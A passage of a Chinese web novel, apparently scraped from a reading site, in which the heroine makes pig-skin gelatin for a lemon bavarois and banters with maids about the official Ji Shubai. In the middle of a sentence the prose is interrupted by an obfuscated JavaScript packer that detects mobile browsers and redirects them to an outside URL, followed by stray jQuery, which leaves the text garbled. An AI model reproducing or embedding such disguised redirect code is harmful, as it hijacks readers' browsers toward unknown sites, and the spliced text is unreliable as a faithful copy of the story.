日看见了黎朦子，想起可以当柠檬使用，于是生出了做一个柠檬巴巴露亚。
柠檬巴巴露亚是极简单的甜品，可是要做这个，得先解决一个问题，那就是先解决帮助凝固的吉利丁。
吉利丁用鱼胶制最方便，可是眼下要找那么多鱼胶，她也办不到，只好用替代品猪皮来做。
猪皮也不必去外头找，自己店中就有，倒是方便许多。
宋瑾找了店中所有的猪皮出来，用凉水洗净后下锅煮，添些烧酒去去腥，等水滚开了再捞出放凉。
做吉利丁只需要猪皮胶，所以带着的一点点肥肉都需要切除干净，等过了一遍水后处理起来便容易许多。
宋瑾颇有耐心地一片片斜切掉上头的肥肉，再改切成细长条，用面粉重新细细揉洗干净，再重新用清水下锅煮。
这一煮，便从上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14832158|155814||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
午煮到了下午，半锅开水煮成了糊状，宋瑾这才叫春云停了火。
宋瑾取了好些干净的盘子出来，将那些胶质一点点淋到盘子底铺平，叫春云帮着拿去院中晾干。
“姐姐，这不是猪皮冻么？你怎么把汤冻舀出来了？那待会子怎么吃呀？”
宋瑾笑笑：“你要想吃，等会给你留点儿胶，你取出来用井水镇一下，晚上就能吃了。”
春云笑着道好，一边的红杏插话：“你又要做新东西呢？”
宋瑾道：“是啊，府里的同知季大人爱吃甜食，我给他做一道点心。”
“季大人？”一听季舒白采薇也来了兴致：“可是经常跟那个通判来咱们店里的那个季大人？”
宋瑾点头说是。
采薇道：“噢哟，那可是个俊俏的，就是话少了点儿，冷冰冰的，人长得是真好看。”
宋瑾笑笑，细细回想季舒白，其实脸是有点模糊的，这也不赖她，每次跟他对视都心慌的很，就记得犀利的很。
“对，长得不错，身材也好。”至少没有肚腩。
“你连他身材都见过啊？”
厨房里几个丫头哄笑起来，宋瑾这才发现几人笑话她，淡笑着辩解：“他那身官服穿着，不是很明显么？”
红杏打趣道：“不明显，我们可没瞧出来，不像你，隔着衣服能看见里头。”
“去你的。”
宋瑾笑骂一声，手上动作却不停。
“不过话说回来，你不是要脱籍嘛，若是跟着季大人关系亲近些，也是有好处的。”红杏在她耳边低声道。
宋瑾也明白，只是她断定季舒白这个人过于刚直，别没帮着自己，先拆穿了自己，到时候吃不了兜着走就不好了。
“再说吧，要是我自己能处理，也就不劳烦旁人了。”
脱籍这个事情说大不大，是柏家的家务事。说小不小，一个当官的去管人家的家务事，容易叫人诟病，所以从一开始她就没动过这个心思。
锅里的胶质捞的差不多，剩